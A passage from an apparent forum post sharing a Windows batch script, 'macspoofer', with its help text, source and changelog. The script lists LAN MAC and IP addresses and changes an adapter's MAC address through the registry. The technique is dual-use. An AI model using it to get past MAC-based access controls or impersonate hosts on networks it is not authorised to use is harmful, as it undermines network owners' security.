echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo&nbsp;&nbsp; -p&nbsp;&nbsp; Ping an host with the host name or IP address<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume (only with -s)<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:arg1<br />
if /i "%arg1%"=="-h" goto help<br />
if /i "%arg1%"=="-d" goto ipconfig<br />
if /i "%arg1%"=="-a" goto mac<br />
if /i "%arg1%"=="-l" goto arp<br />
if /i "%arg1%"=="-m" goto assoc<br />
if /i "%arg1%"=="-p" goto ping<br />
if /i "%arg1%"=="-s" goto spoof<br />
if /i "%arg1%"=="-r" goto unspoof<br />
if /i "%arg1%"=="--install" goto install<br />
if /i "%arg1%"=="--uninst" goto uninst<br />
:err<br />
echo Syntax error^!<br />
goto end<br />
<br />
:help<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -p [HOST] ^| -s [KEY] ^| -r [KEY]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-c [CON]] [-n [MAC]] [-v]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [--install [-ow ^| --overwrite] ^| --uninst]<br />
echo.<br />
echo&nbsp;&nbsp; If no arguments are specified, a brief help message is shown<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo.<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo.<br />
echo&nbsp;&nbsp; -p&nbsp;&nbsp; Ping an host with the host name or IP address<br />
echo.<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo.<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;It should be an identifying word (it might be the whole name too)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can also create a file called "keyword.txt" in the current directory<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to have macspoofer use its content as default keyword<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You might still specify [KEY] to use a different key from the default one<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Please, note your connection name does not mean your NIC's name)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you do not specify it, you will need to restart your NIC manually to<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;see any changes in your MAC address<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can make a file called "con.txt" in the current directory to use its<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content as default connection name<br />
echo.<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo.<br />
echo&nbsp;&nbsp; -n&nbsp;&nbsp; Specify a new MAC address to assume (only with -s)<br />
echo.<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If -n is omitted the MAC address used is 001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please, note that if you enter an invalid MAC address spoofing will fail<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allowed formats are:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;00:00:00:00:00:00<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;80-03-10-20-50-10<br />
echo.<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
echo.<br />
echo&nbsp;&nbsp; --install&nbsp;&nbsp;Install macspoofer in the System32 directory.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;After installation, you'll be able to run macspoofer from any path or<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;script. An example of a Batch script of yours in whatever directory.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@echo off<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo Hello, world!<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo This is macspoofer's usage:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo. ^&amp; macspoofer -h<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo. ^&amp; echo And this is a ping to localhost:<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;macspoofer -p localhost<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit /b<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;Note: you need administrator privileges to install macspoofer.<br />
echo.<br />
echo&nbsp;&nbsp; -ow, --overwrite&nbsp;&nbsp;Overwrites already existing versions of macspoofer in the<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System32 directory during installation.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If omitted and there is an already existing copy while<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; using "--install" user is asked if he wants to overwrite.<br />
echo.<br />
echo&nbsp;&nbsp; --uninst&nbsp;&nbsp;Remove macspoofer from the System32 directory.<br />
goto end<br />
<br />
:ipconfig<br />
set ipconf=ipconfig<br />
if /i "%2"=="-v" set ipconf=ipconfig /all<br />
%ipconf%<br />
goto end<br />
<br />
:mac<br />
&lt; nul set /p var=Please, wait...<br />
set getmac=getmac<br />
if /i "%2"=="-v" set getmac=getmac -v<br />
%getmac%<br />
goto end<br />
<br />
:arp<br />
set arp=arp -a<br />
if /i "%2"=="-v" set arp=arp -a -v<br />
%arp%<br />
goto end<br />
<br />
:assoc<br />
set check=<br />
set check=%2<br />
if not defined check goto noize<br />
for %%a in (1 2 3 4 5 6 7 8 9 0) do if "%check:~0,1%"=="%%a" goto skipassoc<br />
:noize<br />
echo Invalid IP address.<br />
goto end<br />
:skipassoc<br />
arp -a %2<br />
goto end<br />
<br />
:ping<br />
set check=%2<br />
if not defined check (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo No host to ping specified.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
set check=<br />
for /f %%k in ('ping %2 ^| find /i "ms"') do set check=%%k<br />
if not defined check (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Target: %2.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Ping failed.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Host is unreachable.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo Target: %2.<br />
echo Ping successful.<br />
echo.<br />
echo Host is reachable.<br />
goto end<br />
<br />
:install<br />
if exist %windir%&#92;System32&#92;macspoofer.bat goto is_inst<br />
copy "%~f0" %windir%&#92;System32&#92;macspoofer.bat 2&gt;nul &gt; nul<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to install macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run again the program with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully installed.<br />
goto end<br />
:is_inst<br />
if /i "%2"=="-ow" goto overwrite<br />
if /i "%2"=="--overwrite" goto overwrite<br />
echo macspoofer is already installed.<br />
set overw=<br />
set /p overw="Do you want to overwrite the already existing version? (Y/n) "<br />
echo.<br />
if /i "%overw%"=="n" echo No changes brought. &amp; goto end<br />
:overwrite<br />
del %windir%&#92;System32&#92;macspoofer.bat /f /q 2&gt;nul &gt; nul<br />
if exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to update macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run the program again with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
copy "%~f0" %windir%&#92;System32&#92;macspoofer.bat 2&gt;nul &gt; nul<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to update macspoofer: unknown error.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Latest copy of macspoofer in System32 was deleted during update.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Please, try again.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully updated.<br />
goto end<br />
<br />
:uninst<br />
if not exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo macspoofer is not installed on this computer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
del %windir%&#92;System32&#92;macspoofer.bat /f /q 2&gt;nul &gt; nul<br />
if exist %windir%&#92;System32&#92;macspoofer.bat (<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Failed to uninstall macspoofer.<br />
&nbsp;&nbsp;&nbsp;&nbsp;echo Run the program again with administrator privileges.<br />
&nbsp;&nbsp;&nbsp;&nbsp;goto end<br />
)<br />
echo macspoofer was successfully uninstalled.<br />
goto end<br />
<br />
:spoof<br />
set newmac=<br />
if /i "%2"=="-n" set newmac=%3<br />
if /i "%3"=="-n" set newmac=%4<br />
if /i "%4"=="-n" set newmac=%5<br />
if /i "%5"=="-n" set newmac=%6<br />
if /i "%6"=="-n" set newmac=%7<br />
if not defined newmac (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=001122334455<br />
) else (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=%newmac::-=%<br />
)<br />
set keyword=<br />
set keycheck=%2<br />
if exist keyword.txt for /f "delims=" %%j in ('type keyword.txt') do set keyword=%%j<br />
if defined keycheck set keyword=%keycheck%<br />
if defined keyword goto skip<br />
set /p keyword="Enter a keyword that is part of your NIC's name only: "<br />
:skip<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop<br />
goto keyloop<br />
:quitloop<br />
reg add "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /d "%newmac%" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
if not defined con echo Your MAC address was successfully changed. &amp; echo You'll need to manually restart your NIC to see any changes. &amp; goto end<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh1<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto done1<br />
<br />
:skipnetsh1<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs <br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto done1<br />
<br />
:spooffailed<br />
echo.<br />
echo Failed to change your MAC address.<br />
echo Run the program again with administrator privileges.<br />
goto end<br />
<br />
:unspoof<br />
set keyword=%2<br />
if defined keyword goto isdef<br />
:looper<br />
set /p keyword="Enter a keyword that is part of your NIC's name: "<br />
echo.<br />
if not defined key goto looper<br />
:isdef<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop2<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop2<br />
goto keyloop2<br />
:quitloop2<br />
reg query "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo. &amp; echo This NIC's MAC address has not been spoofed yet. &amp; echo Restore failed. &amp; goto end<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
reg delete "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
if not defined con goto skipnic1<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto skipnic<br />
<br />
:skipnetsh<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto skipnic<br />
<br />
:skipnic1<br />
echo MAC and local IP addresses were successfully restored.<br />
echo You will need to manually restart your NIC before you can see any changes.<br />
goto end<br />
<br />
:done1<br />
echo MAC was successfully changed.<br />
goto end<br />
<br />
:skipnic<br />
echo MAC and local IP addresses were successfully restored.<br />
<br />
:end<br />
popd</code></div></div>
<br />
<a href="http://trythis00011.altervista.org/macspoofer2.1.php" target="_blank"><span style="color: blue;">Download</span></a><br />
<br />
<hr />
<br />
<span style="font-size: medium;"><span style="color: lightgreen;">Version 2.0</span></span><br />
<br />
<span style="color: lightblue;"><span style="font-weight: bold;">Features and change-log:</span></span><span style="font-size: x-small;"><br />
 - arguments based;<br />
 - view detailed local IP and MAC information for current host;<br />
 - view MAC and IP addresses of other hosts in the LAN;<br />
 - find the MAC address of any host in the LAN from its IP;<br />
 - spoof MAC and local IP addresses;<br />
 - restore MAC and local IP addresses;<br />
 - automatical NIC restart with given connection name for (hopefully) XP and newer versions;<br />
 - possibility to set a default NIC for spoofing/restoring and a default connection name to avoid typing them every time (though, if they are specified in the command, default option gets overridden by the specified one);<br />
 - it's been coded by noize (probably the most noteworthy feature).<br />
</span><br />
<span style="font-size: large;"><span style="color: lightgreen;">Source code</span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>@echo off<br />
cd %~dp0<br />
<br />
:::::::::::::::::::::::::<br />
<br />
:: Mac Address Spoofer ::<br />
<br />
:::::::::::::::::::::::::<br />
<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
